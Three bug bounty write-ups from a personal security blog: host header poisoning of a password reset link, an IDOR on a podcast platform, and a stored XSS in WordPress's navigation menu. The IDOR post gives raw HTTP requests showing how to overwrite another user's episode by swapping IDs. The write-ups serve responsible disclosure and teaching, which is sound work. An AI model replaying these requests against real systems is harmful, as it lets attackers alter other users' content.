Thursday, February 25, 2021

Hijacking Reset Password Link in via Host Header Poisoning (Write Up)


Summer last year while playing with google dorks I found a random external bug bounty program which is an adult website that allow user to interact each other through chat. The app is similar to tinder.

Since they have a bug bounty program, I tried doing a recon with their domain. fired up my recon tools to gather subdomains, directories and etc... 

So while my recon tools are doing their things, I started up testing the login and reset password page after I signed up for an account and found a simple bug on the reset password.

Long story short, I found a Host Header Hijacking/Poising issue in which allow me to manipulate the host header during the reset password procedure. The issue allow me to change the reset password link after changing the value of the Host.

--Proof of Concept--



Title: Vulnerability Issue (Host Header Hijacking)
Reported: Jul 11, 2020, 3:31 AM
Rewarded: Jul 16, 2020, 5:25 AM ($50)

Hi Evan,

Thanks for your submission with a very clear PoC.

While we do already have some development in the works to address this known issue, we appreciate this demonstration of a new way to exploit this issue and would like to offer you a $50 reward. Would you mind re-confirming that your paypal email is still <redacted> 


Best regards,

Bug Bounty

Reference of this issue: (Cheers to James Kettle @albinowax)

I hope you enjoy this write up. Stay safe and have a great day y'all!

“Only those who dare to fail greatly can ever achieve greatly.”

― Robert F. Kennedy

Saturday, February 13, 2021

Changing other users Episode title & description - IDOR Vulnerability in [REDACTED] (Write Up)

Good day everyone, hope you are doing great. 

It's been a while since I posted on this blog and today I will show you another simple vulnerability that I found few years ago on [REDACTED] (https://[]), one of [REDACTED]'s acquisition company. The vulnerability allow me to change other users Episode titles & description without any user interaction.

So it was a cold & lazy Wednesday night that time when I started reading some of my old reports and decided to re-check some of it. I started with my old report on [REDACTED] which is a Cross Site Scripting that I reported few years ago and I noticed that there is no changes on that subdomain after the fix was released. So I fired up my recon tools to check other subdomains and directories of [REDACTED] and there is no interesting stuff found so I decided to check on their acquisitions and found an interesting one which is the [REDACTED] (https://[]). so I fired up my recon tools again to check on for subdomains and directories since my method of testing is I started with the subdomains.

After a few hours of testing, I found multiple vulnerabilities including Stored XSS, Open Redirect, Reflected XSS, Session Management Issue and the most interesting one, the Insecure Direct Object Reference vulnerability. So long story short, I found some good bugs and reported it to them and unfortunately no one made it for a bounty since this domain is not on their scope (and yes! I'm aware of that, just trying my luck.) so I asked a permission to them for this write up so that I can share it with you guys.

--Proof of Concept--

User A (attacker id - e3mid0) & B (victim id - e3mhq4)

Go to https://[]/dashboard/episode/e3mid0/metadata/edit (User A)

Click the "Update episode" button and capture the request (I used burp to capture the request)

Raw HTTP Request (Attacker)

PUT /api/podcastepisode/e3mid0 <attacker id>/metadata HTTP/1.1
Host: []
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: /
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/json
origin: https://[]
Referer: https://[]/dashboard/episode/e3mid0/metadata/edit
Content-Length: 661
Connection: close

{"isDraft":false,"podcastEpisodeIsExplicit":false,"podcastEpisodeType":"full","publishOn":null,"created":"2019-04-09T18:37:20.000Z","description":"<p>test1</p>","podcastEpisodeNumber":1,"podcastSeasonNumber":1,"safeDescription":"<p>test1</p>","title":"test1 for idor","doPublishExternally":true,"episodeAudios":[{"durationHMS":"10s","audioId":"a1ptlh","audioTransformationStatus":null,"caption":"Alley","color":"#fface7","created":"2016-12-02T22:25:38.000Z","doesHaveGeneratedVideo":false,"duration":10443,"key":"a1ptlh-0","sort":0,"userId":null,"url":"[]}

Send the captured request to Repeater and change the episode id from attacker to victim id and change some of the information's like the title, description and etc...

Modified HTTP Request (Attacker)

In the modified request, the attacker can change the episode id in the URL request which can be found from the victim's episode. if you will say that it's hard to enumerate that kind of ID since it's a mix of random letters and numbers then no, the [REDACTED] episode ID of any users is visible to anyone that is why it is so easy to know your victim's ID.

PUT /api/podcastepisode/e3mhq4 <victim id>/metadata HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: /
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/json
Referer: https://[]/dashboard/episode/e3mid0/metadata/edit
Content-Length: 661
Connection: close


Repeat the modified request thru repeater in burp and you will get a successful response (200)

Result: Victim's episode title and description can be manipulated or change.

--Report Timeline--

Title: Changing other REDACTED user's Episode title and description [IDOR]
Reported: May 30, 2018
Closed as Informative: June 1, 2018

Hello @evanricafort,

Thank you for your submission. Unfortunately, [] is currently not in scope. Please feel free to resubmit this bug if it is still valid when the team plans to bring it into the scope of the program.


Re-opened and rewarded: April 24, 2019 ($250)

Almost a year after when REDACTED added [] on their scope and fortunately all my reports was validated and so this IDOR earned me a bounty of $250. kinda low for this issue because the domain is under their acquisition program but worth the wait since all in all the total bounty for all my reports for [] is $1,150.

I hope you enjoy this write up. Stay safe and have a great day y'all!

"Not how long, but how well you have lived is the main thing."

Sunday, December 06, 2020

[CVE-2019-17674 & CVE-2020-11025] Stored XSS through navigation menu item edited in Customizer in Wordpress (Write Up)


This is going to be a short write up about one of the security vulnerabilities issued by WordPress on their security patch release [CVE-2019-17674 & CVE-2020-11025].

I reported this issue way back March 30, 2018 thru their bug bounty program on HackerOne.

This issue was due to a vulnerable feature of WordPress which is the Navigation Menu. In the Menu there is a input box for Social Media links which may allow any site owner to input their Social Media profile links. The previous version of WordPress didn't sanitize any HTML Code for the link input which makes the feature vulnerable to Cross Site Scripting.

When a user adds a Cross Site Scripting payload in the Social Media input and publish the edited page, the payload will trigger on the home page of the owner's WordPress site.

In my test, I published a live demo of the vulnerability which you can check here

Again, this issue was already fixed by WordPress.

--Proof of Concept--
  1. go to<name>
  2. click the "Menus" tab in the left side
  3. click "Social Media"
  4. choose any tab from "Facebook, Linkedin, Twitter and Instagram"
  5. after you choose a tab, input xss payload in the "Navigation Label"
  6. click Publish
  7. go to domain and see the result.
Result: Stored XSS


Report Title: Stored XSS through nav menu item edited in Customizer
Reported: 2018-03-30 08:11:34 +0000
Patch Release: October 14, 2019
Reward: $600

Press Release of the issue

I hope you enjoy this write up, have a great day y'all!

"We may encounter many defeats but we must not be defeated."
-Maya Angelou